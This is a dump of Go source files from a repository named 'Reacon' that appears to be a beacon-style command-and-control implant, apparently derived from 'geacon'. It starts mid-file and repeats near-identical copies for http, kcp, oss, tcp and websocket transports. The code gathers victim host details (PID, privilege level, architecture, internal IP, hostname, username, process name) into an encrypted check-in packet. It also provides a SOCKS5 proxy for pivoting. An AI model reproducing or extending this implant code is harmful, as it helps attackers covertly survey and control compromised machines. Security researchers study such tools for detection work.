16 | // C:\Users\admin\Desktop\cmd.exe 17 | // ./cmd 18 | var result string 19 | slashPos := strings.LastIndex(processName, "\\") 20 | if slashPos > 0 { 21 | result = processName[slashPos+1:] 22 | } 23 | backslashPos := strings.LastIndex(processName, "/") 24 | if backslashPos > 0 { 25 | result = processName[backslashPos+1:] 26 | } 27 | return result 28 | } 29 | 30 | func GetPID() int { 31 | return os.Getpid() 32 | } 33 | 34 | func GetMetaDataFlag() int { 35 | flagInt := 0 36 | if IsHighPriv() { 37 | flagInt += 8 38 | } 39 | isOSX64, _ := IsOSX64() 40 | if isOSX64 { 41 | flagInt += 4 42 | } 43 | isProcessX64 := IsProcessX64() 44 | // there is no need to add 1 when process is x86 45 | if isProcessX64 { 46 | flagInt += 2 47 | } 48 | return flagInt 49 | } 50 | 51 | func GetComputerName() string { 52 | sHostName, _ := os.Hostname() 53 | // message too long for RSA public key size 54 | if runtime.GOOS == "linux" { 55 | sHostName = sHostName + " (Linux)" 56 | } else if runtime.GOOS == "darwin" { 57 | sHostName = sHostName + " (Darwin)" 58 | } 59 | return sHostName 60 | } 61 | 62 | // it is ok 63 | func IsProcessX64() bool { 64 | if runtime.GOARCH == "amd64" || runtime.GOARCH == "arm64" || runtime.GOARCH == "arm64be" { 65 | //util.Println("geacon is x64") 66 | return true 67 | } 68 | //util.Println("geacon is x86") 69 | return false 70 | } 71 | 72 | func GetLocalIPInt() uint32 { 73 | addrs, err := net.InterfaceAddrs() 74 | if err != nil { 75 | return 0 76 | } 77 | var ip16 uint32 78 | var ip uint32 79 | for _, address := range addrs { 80 | if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { 81 | ipString := ipnet.IP.String() 82 | if ipnet.IP.To4() != nil && !strings.HasPrefix(ipString, "169.254.") { 83 | if len(ipnet.IP) == 16 { 84 | ip16 = binary.LittleEndian.Uint32(ipnet.IP[12:16]) 85 | } 86 | ip = binary.LittleEndian.Uint32(ipnet.IP) 87 | } 88 | } 89 | } 90 | if ip16 != 0 { 91 | return ip16 92 | } 93 | return ip 94 | } 95 | -------------------------------------------------------------------------------- /Reacon_websocket/pkg/sysinfo/meta.go: -------------------------------------------------------------------------------- 1 | package sysinfo 2 | 3 | import ( 4 | "encoding/binary" 5 | "net" 6 | "os" 7 | "runtime" 8 | "strings" 9 | ) 10 | 11 | func GetProcessName() string { 12 | processName, err := os.Executable() 13 | if err != nil { 14 | return "unknown" 15 | } 16 | // C:\Users\admin\Desktop\cmd.exe 17 | // ./cmd 18 | var result string 19 | slashPos := strings.LastIndex(processName, "\\") 20 | if slashPos > 0 { 21 | result = processName[slashPos+1:] 22 | } 23 | backslashPos := strings.LastIndex(processName, "/") 24 | if backslashPos > 0 { 25 | result = processName[backslashPos+1:] 26 | } 27 | return result 28 | } 29 | 30 | func GetPID() int { 31 | return os.Getpid() 32 | } 33 | 34 | func GetMetaDataFlag() int { 35 | flagInt := 0 36 | if IsHighPriv() { 37 | flagInt += 8 38 | } 39 | isOSX64, _ := IsOSX64() 40 | if isOSX64 { 41 | flagInt += 4 42 | } 43 | isProcessX64 := IsProcessX64() 44 | // there is no need to add 1 when process is x86 45 | if isProcessX64 { 46 | flagInt += 2 47 | } 48 | return flagInt 49 | } 50 | 51 | func GetComputerName() string { 52 | sHostName, _ := os.Hostname() 53 | // message too long for RSA public key size 54 | if runtime.GOOS == "linux" { 55 | sHostName = sHostName + " (Linux)" 56 | } else if runtime.GOOS == "darwin" { 57 | sHostName = sHostName + " (Darwin)" 58 | } 59 | return sHostName 60 | } 61 | 62 | // it is ok 63 | func IsProcessX64() bool { 64 | if runtime.GOARCH == "amd64" || runtime.GOARCH == "arm64" || runtime.GOARCH == "arm64be" { 65 | //util.Println("geacon is x64") 66 | return true 67 | } 68 | //util.Println("geacon is x86") 69 | return false 70 | } 71 | 72 | func GetLocalIPInt() uint32 { 73 | addrs, err := net.InterfaceAddrs() 74 | if err != nil { 75 | return 0 76 | } 77 | var ip16 uint32 78 | var ip uint32 79 | for _, address := range addrs { 80 | if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { 81 | ipString := ipnet.IP.String() 82 | if ipnet.IP.To4() != nil && !strings.HasPrefix(ipString, "169.254.") { 83 | if len(ipnet.IP) == 16 { 84 | ip16 = binary.LittleEndian.Uint32(ipnet.IP[12:16]) 85 | } 86 | ip = binary.LittleEndian.Uint32(ipnet.IP) 87 | } 88 | } 89 | } 90 | if ip16 != 0 { 91 | return ip16 92 | } 93 | return ip 94 | } 95 | -------------------------------------------------------------------------------- /Reacon_http/pkg/services/proxy/auth.go: -------------------------------------------------------------------------------- 1 | package Proxy 2 | 3 | import ( 4 | "net" 5 | 6 | "Reacon/pkg/services/proxy/statute" 7 | ) 8 | 9 | // AuthContext A Request encapsulates authentication state provided 10 | // during negotiation 11 | type AuthContext struct { 12 | // Provided auth method 13 | Method uint8 14 | // Payload provided during negotiation. 15 | // Keys depend on the used auth method. 16 | // For UserPass auth contains username/password 17 | // Payload map[string]string 18 | } 19 | 20 | // Authenticator provide auth 21 | type Authenticator interface { 22 | Authenticate(conn net.Conn) error 23 | GetCode() uint8 24 | } 25 | 26 | // NoAuthAuthenticator is used to handle the "No Authentication" mode 27 | type NoAuthAuthenticator struct{} 28 | 29 | // GetCode implement interface Authenticator 30 | func (a NoAuthAuthenticator) GetCode() uint8 { return statute.MethodNoAuth } 31 | 32 | // Authenticate implement interface Authenticator 33 | func (a NoAuthAuthenticator) Authenticate(conn net.Conn) error { 34 | _, err := conn.Write([]byte{statute.VersionSocks5, statute.MethodNoAuth}) 35 | return err 36 | } 37 | 38 | // UserPassAuthenticator is used to handle username/password based 39 | // authentication 40 | type UserPassAuthenticator struct { 41 | Username string 42 | Password string 43 | } 44 | 45 | // GetCode implement interface Authenticator 46 | func (a UserPassAuthenticator) GetCode() uint8 { return statute.MethodUserPassAuth } 47 | 48 | // Authenticate implement interface Authenticator 49 | func (a UserPassAuthenticator) Authenticate(conn net.Conn) error { 50 | 51 | // reply the client to use user/pass auth 52 | if _, err := conn.Write([]byte{statute.VersionSocks5, statute.MethodUserPassAuth}); err != nil { 53 | return err 54 | } 55 | 56 | // get user and user's password 57 | nup, err := statute.ParseUserPassRequest(conn) 58 | if err != nil { 59 | return err 60 | } 61 | 62 | // Verify the password 63 | if a.Username == string(nup.User) && a.Password == string(nup.Pass) { 64 | if _, err = conn.Write([]byte{statute.UserPassAuthVersion, statute.AuthSuccess}); err != nil { 65 | return err 66 | } 67 | return nil 68 | } 69 | 70 | if _, err := conn.Write([]byte{statute.UserPassAuthVersion, statute.AuthFailure}); err != nil { 71 | return err 72 | } 73 | return statute.ErrUserAuthFailed 74 | } 75 | -------------------------------------------------------------------------------- /Reacon_kcp/pkg/services/proxy/auth.go: -------------------------------------------------------------------------------- 1 | package Proxy 2 | 3 | import ( 4 | "net" 5 | 6 | "Reacon/pkg/services/proxy/statute" 7 | ) 8 | 9 | // AuthContext A Request encapsulates authentication state provided 10 | // during negotiation 11 | type AuthContext struct { 12 | // Provided auth method 13 | Method uint8 14 | // Payload provided during negotiation. 15 | // Keys depend on the used auth method. 16 | // For UserPass auth contains username/password 17 | // Payload map[string]string 18 | } 19 | 20 | // Authenticator provide auth 21 | type Authenticator interface { 22 | Authenticate(conn net.Conn) error 23 | GetCode() uint8 24 | } 25 | 26 | // NoAuthAuthenticator is used to handle the "No Authentication" mode 27 | type NoAuthAuthenticator struct{} 28 | 29 | // GetCode implement interface Authenticator 30 | func (a NoAuthAuthenticator) GetCode() uint8 { return statute.MethodNoAuth } 31 | 32 | // Authenticate implement interface Authenticator 33 | func (a NoAuthAuthenticator) Authenticate(conn net.Conn) error { 34 | _, err := conn.Write([]byte{statute.VersionSocks5, statute.MethodNoAuth}) 35 | return err 36 | } 37 | 38 | // UserPassAuthenticator is used to handle username/password based 39 | // authentication 40 | type UserPassAuthenticator struct { 41 | Username string 42 | Password string 43 | } 44 | 45 | // GetCode implement interface Authenticator 46 | func (a UserPassAuthenticator) GetCode() uint8 { return statute.MethodUserPassAuth } 47 | 48 | // Authenticate implement interface Authenticator 49 | func (a UserPassAuthenticator) Authenticate(conn net.Conn) error { 50 | 51 | // reply the client to use user/pass auth 52 | if _, err := conn.Write([]byte{statute.VersionSocks5, statute.MethodUserPassAuth}); err != nil { 53 | return err 54 | } 55 | 56 | // get user and user's password 57 | nup, err := statute.ParseUserPassRequest(conn) 58 | if err != nil { 59 | return err 60 | } 61 | 62 | // Verify the password 63 | if a.Username == string(nup.User) && a.Password == string(nup.Pass) { 64 | if _, err = conn.Write([]byte{statute.UserPassAuthVersion, statute.AuthSuccess}); err != nil { 65 | return err 66 | } 67 | return nil 68 | } 69 | 70 | if _, err := conn.Write([]byte{statute.UserPassAuthVersion, statute.AuthFailure}); err != nil { 71 | return err 72 | } 73 | return statute.ErrUserAuthFailed 74 | } 75 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/services/proxy/auth.go: -------------------------------------------------------------------------------- 1 | package Proxy 2 | 3 | import ( 4 | "net" 5 | 6 | "Reacon/pkg/services/proxy/statute" 7 | ) 8 | 9 | // AuthContext A Request encapsulates authentication state provided 10 | // during negotiation 11 | type AuthContext struct { 12 | // Provided auth method 13 | Method uint8 14 | // Payload provided during negotiation. 15 | // Keys depend on the used auth method. 16 | // For UserPass auth contains username/password 17 | // Payload map[string]string 18 | } 19 | 20 | // Authenticator provide auth 21 | type Authenticator interface { 22 | Authenticate(conn net.Conn) error 23 | GetCode() uint8 24 | } 25 | 26 | // NoAuthAuthenticator is used to handle the "No Authentication" mode 27 | type NoAuthAuthenticator struct{} 28 | 29 | // GetCode implement interface Authenticator 30 | func (a NoAuthAuthenticator) GetCode() uint8 { return statute.MethodNoAuth } 31 | 32 | // Authenticate implement interface Authenticator 33 | func (a NoAuthAuthenticator) Authenticate(conn net.Conn) error { 34 | _, err := conn.Write([]byte{statute.VersionSocks5, statute.MethodNoAuth}) 35 | return err 36 | } 37 | 38 | // UserPassAuthenticator is used to handle username/password based 39 | // authentication 40 | type UserPassAuthenticator struct { 41 | Username string 42 | Password string 43 | } 44 | 45 | // GetCode implement interface Authenticator 46 | func (a UserPassAuthenticator) GetCode() uint8 { return statute.MethodUserPassAuth } 47 | 48 | // Authenticate implement interface Authenticator 49 | func (a UserPassAuthenticator) Authenticate(conn net.Conn) error { 50 | 51 | // reply the client to use user/pass auth 52 | if _, err := conn.Write([]byte{statute.VersionSocks5, statute.MethodUserPassAuth}); err != nil { 53 | return err 54 | } 55 | 56 | // get user and user's password 57 | nup, err := statute.ParseUserPassRequest(conn) 58 | if err != nil { 59 | return err 60 | } 61 | 62 | // Verify the password 63 | if a.Username == string(nup.User) && a.Password == string(nup.Pass) { 64 | if _, err = conn.Write([]byte{statute.UserPassAuthVersion, statute.AuthSuccess}); err != nil { 65 | return err 66 | } 67 | return nil 68 | } 69 | 70 | if _, err := conn.Write([]byte{statute.UserPassAuthVersion, statute.AuthFailure}); err != nil { 71 | return err 72 | } 73 | return statute.ErrUserAuthFailed 74 | } 75 | -------------------------------------------------------------------------------- /Reacon_tcp/pkg/services/proxy/auth.go: -------------------------------------------------------------------------------- 1 | package Proxy 2 | 3 | import ( 4 | "net" 5 | 6 | "Reacon/pkg/services/proxy/statute" 7 | ) 8 | 9 | // AuthContext A Request encapsulates authentication state provided 10 | // during negotiation 11 | type AuthContext struct { 12 | // Provided auth method 13 | Method uint8 14 | // Payload provided during negotiation. 15 | // Keys depend on the used auth method. 16 | // For UserPass auth contains username/password 17 | // Payload map[string]string 18 | } 19 | 20 | // Authenticator provide auth 21 | type Authenticator interface { 22 | Authenticate(conn net.Conn) error 23 | GetCode() uint8 24 | } 25 | 26 | // NoAuthAuthenticator is used to handle the "No Authentication" mode 27 | type NoAuthAuthenticator struct{} 28 | 29 | // GetCode implement interface Authenticator 30 | func (a NoAuthAuthenticator) GetCode() uint8 { return statute.MethodNoAuth } 31 | 32 | // Authenticate implement interface Authenticator 33 | func (a NoAuthAuthenticator) Authenticate(conn net.Conn) error { 34 | _, err := conn.Write([]byte{statute.VersionSocks5, statute.MethodNoAuth}) 35 | return err 36 | } 37 | 38 | // UserPassAuthenticator is used to handle username/password based 39 | // authentication 40 | type UserPassAuthenticator struct { 41 | Username string 42 | Password string 43 | } 44 | 45 | // GetCode implement interface Authenticator 46 | func (a UserPassAuthenticator) GetCode() uint8 { return statute.MethodUserPassAuth } 47 | 48 | // Authenticate implement interface Authenticator 49 | func (a UserPassAuthenticator) Authenticate(conn net.Conn) error { 50 | 51 | // reply the client to use user/pass auth 52 | if _, err := conn.Write([]byte{statute.VersionSocks5, statute.MethodUserPassAuth}); err != nil { 53 | return err 54 | } 55 | 56 | // get user and user's password 57 | nup, err := statute.ParseUserPassRequest(conn) 58 | if err != nil { 59 | return err 60 | } 61 | 62 | // Verify the password 63 | if a.Username == string(nup.User) && a.Password == string(nup.Pass) { 64 | if _, err = conn.Write([]byte{statute.UserPassAuthVersion, statute.AuthSuccess}); err != nil { 65 | return err 66 | } 67 | return nil 68 | } 69 | 70 | if _, err := conn.Write([]byte{statute.UserPassAuthVersion, statute.AuthFailure}); err != nil { 71 | return err 72 | } 73 | return statute.ErrUserAuthFailed 74 | } 75 | -------------------------------------------------------------------------------- /Reacon_websocket/pkg/services/proxy/auth.go: -------------------------------------------------------------------------------- 1 | package Proxy 2 | 3 | import ( 4 | "net" 5 | 6 | "Reacon/pkg/services/proxy/statute" 7 | ) 8 | 9 | // AuthContext A Request encapsulates authentication state provided 10 | // during negotiation 11 | type AuthContext struct { 12 | // Provided auth method 13 | Method uint8 14 | // Payload provided during negotiation. 15 | // Keys depend on the used auth method. 16 | // For UserPass auth contains username/password 17 | // Payload map[string]string 18 | } 19 | 20 | // Authenticator provide auth 21 | type Authenticator interface { 22 | Authenticate(conn net.Conn) error 23 | GetCode() uint8 24 | } 25 | 26 | // NoAuthAuthenticator is used to handle the "No Authentication" mode 27 | type NoAuthAuthenticator struct{} 28 | 29 | // GetCode implement interface Authenticator 30 | func (a NoAuthAuthenticator) GetCode() uint8 { return statute.MethodNoAuth } 31 | 32 | // Authenticate implement interface Authenticator 33 | func (a NoAuthAuthenticator) Authenticate(conn net.Conn) error { 34 | _, err := conn.Write([]byte{statute.VersionSocks5, statute.MethodNoAuth}) 35 | return err 36 | } 37 | 38 | // UserPassAuthenticator is used to handle username/password based 39 | // authentication 40 | type UserPassAuthenticator struct { 41 | Username string 42 | Password string 43 | } 44 | 45 | // GetCode implement interface Authenticator 46 | func (a UserPassAuthenticator) GetCode() uint8 { return statute.MethodUserPassAuth } 47 | 48 | // Authenticate implement interface Authenticator 49 | func (a UserPassAuthenticator) Authenticate(conn net.Conn) error { 50 | 51 | // reply the client to use user/pass auth 52 | if _, err := conn.Write([]byte{statute.VersionSocks5, statute.MethodUserPassAuth}); err != nil { 53 | return err 54 | } 55 | 56 | // get user and user's password 57 | nup, err := statute.ParseUserPassRequest(conn) 58 | if err != nil { 59 | return err 60 | } 61 | 62 | // Verify the password 63 | if a.Username == string(nup.User) && a.Password == string(nup.Pass) { 64 | if _, err = conn.Write([]byte{statute.UserPassAuthVersion, statute.AuthSuccess}); err != nil { 65 | return err 66 | } 67 | return nil 68 | } 69 | 70 | if _, err := conn.Write([]byte{statute.UserPassAuthVersion, statute.AuthFailure}); err != nil { 71 | return err 72 | } 73 | return statute.ErrUserAuthFailed 74 | } 75 | -------------------------------------------------------------------------------- /Reacon_http/pkg/utils/packet.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "Reacon/pkg/encrypt" 5 | "Reacon/pkg/sysinfo" 6 | "bytes" 7 | "encoding/binary" 8 | "fmt" 9 | "golang.org/x/text/encoding/simplifiedchinese" 10 | "golang.org/x/text/transform" 11 | "io/ioutil" 12 | "unicode/utf8" 13 | ) 14 | 15 | func EncryptedMetaInfo() ([]byte, error) { 16 | packetUnencrypted := MakeMetaInfo() 17 | packetEncrypted, err := encrypt.Encrypt(packetUnencrypted) 18 | if err != nil { 19 | return nil, err 20 | } 21 | 22 | //finalPakcet := base64.StdEncoding.EncodeToString(packetEncrypted) 23 | return packetEncrypted, nil 24 | } 25 | 26 | /* 27 | MetaData for 4.1 28 | 29 | ID(4) | PID(4) | Port(2) | Flag(1) | Ver1(1) | Ver2(1) | Build(2) | PTR(4) | PTR_GMH(4) | PTR_GPA(4) | internal IP(4 LittleEndian) | 30 | InfoString(from 51 to all, split with \t) = Computer\tUser\tProcess(if isSSH() this will be SSHVer) 31 | */ 32 | /* 33 | PID(4) | Flag(1) | IP(4) | OSINFO( 34 | */ 35 | func MakeMetaInfo() []byte { 36 | 37 | processID := sysinfo.GetPID() 38 | metadataFlag := sysinfo.GetMetaDataFlag() 39 | processName := sysinfo.GetProcessName() 40 | localIP := sysinfo.GetLocalIPInt() 41 | hostName := sysinfo.GetComputerName() 42 | currentUser, _ := sysinfo.GetUsername() 43 | 44 | processIDBytes := make([]byte, 4) 45 | flagBytes := make([]byte, 1) 46 | localIPBytes := make([]byte, 4) 47 | binary.BigEndian.PutUint32(processIDBytes, uint32(processID)) 48 | flagBytes[0] = byte(metadataFlag) 49 | binary.BigEndian.PutUint32(localIPBytes, uint32(localIP)) 50 | 51 | osInfo := fmt.Sprintf("%s\t%s\t%s", hostName, currentUser, processName) 52 | if len(osInfo) > 58 { 53 | osInfo = osInfo[:58] 54 | } 55 | osInfoBytes := []byte(osInfo) 56 | 57 | //fmt.Printf("clientID: %d\n", clientID) 58 | onlineInfoBytes := BytesCombine(processIDBytes, flagBytes, localIPBytes, osInfoBytes) 59 | 60 | return onlineInfoBytes 61 | } 62 | func ReadInt(b []byte) uint32 { 63 | return binary.BigEndian.Uint32(b) 64 | } 65 | func WriteInt(nInt int) []byte { 66 | bBytes := make([]byte, 4) 67 | binary.BigEndian.PutUint32(bBytes, uint32(nInt)) 68 | return bBytes 69 | } 70 | func CodepageToUTF8(b []byte) ([]byte, error) { 71 | if !utf8.Valid(b) { 72 | reader := transform.NewReader(bytes.NewReader(b), simplifiedchinese.GBK.NewDecoder()) 73 | d, e := ioutil.ReadAll(reader) 74 | if e != nil { 75 | return nil, e 76 | } 77 | return d, nil 78 | } 79 | return b, nil 80 | } 81 | -------------------------------------------------------------------------------- /Reacon_kcp/pkg/utils/packet.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "Reacon/pkg/encrypt" 5 | "Reacon/pkg/sysinfo" 6 | "bytes" 7 | "encoding/binary" 8 | "fmt" 9 | "golang.org/x/text/encoding/simplifiedchinese" 10 | "golang.org/x/text/transform" 11 | "io/ioutil" 12 | "unicode/utf8" 13 | ) 14 | 15 | func EncryptedMetaInfo() ([]byte, error) { 16 | packetUnencrypted := MakeMetaInfo() 17 | packetEncrypted, err := encrypt.Encrypt(packetUnencrypted) 18 | if err != nil { 19 | return nil, err 20 | } 21 | 22 | //finalPakcet := base64.StdEncoding.EncodeToString(packetEncrypted) 23 | return packetEncrypted, nil 24 | } 25 | 26 | /* 27 | MetaData for 4.1 28 | 29 | ID(4) | PID(4) | Port(2) | Flag(1) | Ver1(1) | Ver2(1) | Build(2) | PTR(4) | PTR_GMH(4) | PTR_GPA(4) | internal IP(4 LittleEndian) | 30 | InfoString(from 51 to all, split with \t) = Computer\tUser\tProcess(if isSSH() this will be SSHVer) 31 | */ 32 | /* 33 | PID(4) | Flag(1) | IP(4) | OSINFO( 34 | */ 35 | func MakeMetaInfo() []byte { 36 | 37 | processID := sysinfo.GetPID() 38 | metadataFlag := sysinfo.GetMetaDataFlag() 39 | processName := sysinfo.GetProcessName() 40 | localIP := sysinfo.GetLocalIPInt() 41 | hostName := sysinfo.GetComputerName() 42 | currentUser, _ := sysinfo.GetUsername() 43 | 44 | processIDBytes := make([]byte, 4) 45 | flagBytes := make([]byte, 1) 46 | localIPBytes := make([]byte, 4) 47 | binary.BigEndian.PutUint32(processIDBytes, uint32(processID)) 48 | flagBytes[0] = byte(metadataFlag) 49 | binary.BigEndian.PutUint32(localIPBytes, uint32(localIP)) 50 | 51 | osInfo := fmt.Sprintf("%s\t%s\t%s", hostName, currentUser, processName) 52 | if len(osInfo) > 58 { 53 | osInfo = osInfo[:58] 54 | } 55 | osInfoBytes := []byte(osInfo) 56 | 57 | //fmt.Printf("clientID: %d\n", clientID) 58 | onlineInfoBytes := BytesCombine(processIDBytes, flagBytes, localIPBytes, osInfoBytes) 59 | 60 | return onlineInfoBytes 61 | } 62 | func ReadInt(b []byte) uint32 { 63 | return binary.BigEndian.Uint32(b) 64 | } 65 | func WriteInt(nInt int) []byte { 66 | bBytes := make([]byte, 4) 67 | binary.BigEndian.PutUint32(bBytes, uint32(nInt)) 68 | return bBytes 69 | } 70 | func CodepageToUTF8(b []byte) ([]byte, error) { 71 | if !utf8.Valid(b) { 72 | reader := transform.NewReader(bytes.NewReader(b), simplifiedchinese.GBK.NewDecoder()) 73 | d, e := ioutil.ReadAll(reader) 74 | if e != nil { 75 | return nil, e 76 | } 77 | return d, nil 78 | } 79 | return b, nil 80 | } 81 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/utils/packet.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "Reacon/pkg/encrypt" 5 | "Reacon/pkg/sysinfo" 6 | "bytes" 7 | "encoding/binary" 8 | "fmt" 9 | "golang.org/x/text/encoding/simplifiedchinese" 10 | "golang.org/x/text/transform" 11 | "io/ioutil" 12 | "unicode/utf8" 13 | ) 14 | 15 | func EncryptedMetaInfo() ([]byte, error) { 16 | packetUnencrypted := MakeMetaInfo() 17 | packetEncrypted, err := encrypt.Encrypt(packetUnencrypted) 18 | if err != nil { 19 | return nil, err 20 | } 21 | 22 | //finalPakcet := base64.StdEncoding.EncodeToString(packetEncrypted) 23 | return packetEncrypted, nil 24 | } 25 | 26 | /* 27 | MetaData for 4.1 28 | 29 | ID(4) | PID(4) | Port(2) | Flag(1) | Ver1(1) | Ver2(1) | Build(2) | PTR(4) | PTR_GMH(4) | PTR_GPA(4) | internal IP(4 LittleEndian) | 30 | InfoString(from 51 to all, split with \t) = Computer\tUser\tProcess(if isSSH() this will be SSHVer) 31 | */ 32 | /* 33 | PID(4) | Flag(1) | IP(4) | OSINFO( 34 | */ 35 | func MakeMetaInfo() []byte { 36 | 37 | processID := sysinfo.GetPID() 38 | metadataFlag := sysinfo.GetMetaDataFlag() 39 | processName := sysinfo.GetProcessName() 40 | localIP := sysinfo.GetLocalIPInt() 41 | hostName := sysinfo.GetComputerName() 42 | currentUser, _ := sysinfo.GetUsername() 43 | 44 | processIDBytes := make([]byte, 4) 45 | flagBytes := make([]byte, 1) 46 | localIPBytes := make([]byte, 4) 47 | binary.BigEndian.PutUint32(processIDBytes, uint32(processID)) 48 | flagBytes[0] = byte(metadataFlag) 49 | binary.BigEndian.PutUint32(localIPBytes, uint32(localIP)) 50 | 51 | osInfo := fmt.Sprintf("%s\t%s\t%s", hostName, currentUser, processName) 52 | if len(osInfo) > 58 { 53 | osInfo = osInfo[:58] 54 | } 55 | osInfoBytes := []byte(osInfo) 56 | 57 | //fmt.Printf("clientID: %d\n", clientID) 58 | onlineInfoBytes := BytesCombine(processIDBytes, flagBytes, localIPBytes, osInfoBytes) 59 | 60 | return onlineInfoBytes 61 | } 62 | func ReadInt(b []byte) uint32 { 63 | return binary.BigEndian.Uint32(b) 64 | } 65 | func WriteInt(nInt int) []byte { 66 | bBytes := make([]byte, 4) 67 | binary.BigEndian.PutUint32(bBytes, uint32(nInt)) 68 | return bBytes 69 | } 70 | func CodepageToUTF8(b []byte) ([]byte, error) { 71 | if !utf8.Valid(b) { 72 | reader := transform.NewReader(bytes.NewReader(b), simplifiedchinese.GBK.NewDecoder()) 73 | d, e := ioutil.ReadAll(reader) 74 | if e != nil { 75 | return nil, e 76 | } 77 | return d, nil 78 | } 79 | return b, nil 80 | } 81 | -------------------------------------------------------------------------------- /Reacon_tcp/pkg/utils/packet.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "Reacon/pkg/encrypt" 5 | "Reacon/pkg/sysinfo" 6 | "bytes" 7 | "encoding/binary" 8 | "fmt" 9 | "golang.org/x/text/encoding/simplifiedchinese" 10 | "golang.org/x/text/transform" 11 | "io/ioutil" 12 | "unicode/utf8" 13 | ) 14 | 15 | func EncryptedMetaInfo() ([]byte, error) { 16 | packetUnencrypted := MakeMetaInfo() 17 | packetEncrypted, err := encrypt.Encrypt(packetUnencrypted) 18 | if err != nil { 19 | return nil, err 20 | } 21 | 22 | //finalPakcet := base64.StdEncoding.EncodeToString(packetEncrypted) 23 | return packetEncrypted, nil 24 | } 25 | 26 | /* 27 | MetaData for 4.1 28 | 29 | ID(4) | PID(4) | Port(2) | Flag(1) | Ver1(1) | Ver2(1) | Build(2) | PTR(4) | PTR_GMH(4) | PTR_GPA(4) | internal IP(4 LittleEndian) | 30 | InfoString(from 51 to all, split with \t) = Computer\tUser\tProcess(if isSSH() this will be SSHVer) 31 | */ 32 | /* 33 | PID(4) | Flag(1) | IP(4) | OSINFO( 34 | */ 35 | func MakeMetaInfo() []byte { 36 | 37 | processID := sysinfo.GetPID() 38 | metadataFlag := sysinfo.GetMetaDataFlag() 39 | processName := sysinfo.GetProcessName() 40 | localIP := sysinfo.GetLocalIPInt() 41 | hostName := sysinfo.GetComputerName() 42 | currentUser, _ := sysinfo.GetUsername() 43 | 44 | processIDBytes := make([]byte, 4) 45 | flagBytes := make([]byte, 1) 46 | localIPBytes := make([]byte, 4) 47 | binary.BigEndian.PutUint32(processIDBytes, uint32(processID)) 48 | flagBytes[0] = byte(metadataFlag) 49 | binary.BigEndian.PutUint32(localIPBytes, uint32(localIP)) 50 | 51 | osInfo := fmt.Sprintf("%s\t%s\t%s", hostName, currentUser, processName) 52 | if len(osInfo) > 58 { 53 | osInfo = osInfo[:58] 54 | } 55 | osInfoBytes := []byte(osInfo) 56 | 57 | //fmt.Printf("clientID: %d\n", clientID) 58 | onlineInfoBytes := BytesCombine(processIDBytes, flagBytes, localIPBytes, osInfoBytes) 59 | 60 | return onlineInfoBytes 61 | } 62 | func ReadInt(b []byte) uint32 { 63 | return binary.BigEndian.Uint32(b) 64 | } 65 | func WriteInt(nInt int) []byte { 66 | bBytes := make([]byte, 4) 67 | binary.BigEndian.PutUint32(bBytes, uint32(nInt)) 68 | return bBytes 69 | } 70 | func CodepageToUTF8(b []byte) ([]byte, error) { 71 | if !utf8.Valid(b) { 72 | reader := transform.NewReader(bytes.NewReader(b), simplifiedchinese.GBK.NewDecoder()) 73 | d, e := ioutil.ReadAll(reader) 74 | if e != nil { 75 | return nil, e 76 | } 77 | return d, nil 78 | } 79 | return b, nil 80 | } 81 | -------------------------------------------------------------------------------- /Reacon_websocket/pkg/utils/packet.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "Reacon/pkg/encrypt" 5 | "Reacon/pkg/sysinfo" 6 | "bytes" 7 | "encoding/binary" 8 | "fmt" 9 | "golang.org/x/text/encoding/simplifiedchinese" 10 | "golang.org/x/text/transform" 11 | "io/ioutil" 12 | "unicode/utf8" 13 | ) 14 | 15 | func EncryptedMetaInfo() ([]byte, error) { 16 | packetUnencrypted := MakeMetaInfo() 17 | packetEncrypted, err := encrypt.Encrypt(packetUnencrypted) 18 | if err != nil { 19 | return nil, err 20 | } 21 | 22 | //finalPakcet := base64.StdEncoding.EncodeToString(packetEncrypted) 23 | return packetEncrypted, nil 24 | } 25 | 26 | /* 27 | MetaData for 4.1 28 | 29 | ID(4) | PID(4) | Port(2) | Flag(1) | Ver1(1) | Ver2(1) | Build(2) | PTR(4) | PTR_GMH(4) | PTR_GPA(4) | internal IP(4 LittleEndian) | 30 | InfoString(from 51 to all, split with \t) = Computer\tUser\tProcess(if isSSH() this will be SSHVer) 31 | */ 32 | /* 33 | PID(4) | Flag(1) | IP(4) | OSINFO( 34 | */ 35 | func MakeMetaInfo() []byte { 36 | 37 | processID := sysinfo.GetPID() 38 | metadataFlag := sysinfo.GetMetaDataFlag() 39 | processName := sysinfo.GetProcessName() 40 | localIP := sysinfo.GetLocalIPInt() 41 | hostName := sysinfo.GetComputerName() 42 | currentUser, _ := sysinfo.GetUsername() 43 | 44 | processIDBytes := make([]byte, 4) 45 | flagBytes := make([]byte, 1) 46 | localIPBytes := make([]byte, 4) 47 | binary.BigEndian.PutUint32(processIDBytes, uint32(processID)) 48 | flagBytes[0] = byte(metadataFlag) 49 | binary.BigEndian.PutUint32(localIPBytes, uint32(localIP)) 50 | 51 | osInfo := fmt.Sprintf("%s\t%s\t%s", hostName, currentUser, processName) 52 | if len(osInfo) > 58 { 53 | osInfo = osInfo[:58] 54 | } 55 | osInfoBytes := []byte(osInfo) 56 | 57 | //fmt.Printf("clientID: %d\n", clientID) 58 | onlineInfoBytes := BytesCombine(processIDBytes, flagBytes, localIPBytes, osInfoBytes) 59 | 60 | return onlineInfoBytes 61 | } 62 | func ReadInt(b []byte) uint32 { 63 | return binary.BigEndian.Uint32(b) 64 | } 65 | func WriteInt(nInt int) []byte { 66 | bBytes := make([]byte, 4) 67 | binary.BigEndian.PutUint32(bBytes, uint32(nInt)) 68 | return bBytes 69 | } 70 | func CodepageToUTF8(b []byte) ([]byte, error) { 71 | if !utf8.Valid(b) { 72 | reader := transform.NewReader(bytes.NewReader(b), simplifiedchinese.GBK.NewDecoder()) 73 | d, e := ioutil.ReadAll(reader) 74 | if e != nil { 75 | return nil, e 76 | } 77 | return d, nil 78 | } 79 | return b, nil 80 | } 81 | -------------------------------------------------------------------------------- /Reacon_tcp/go.sum: -------------------------------------------------------------------------------- 1 | 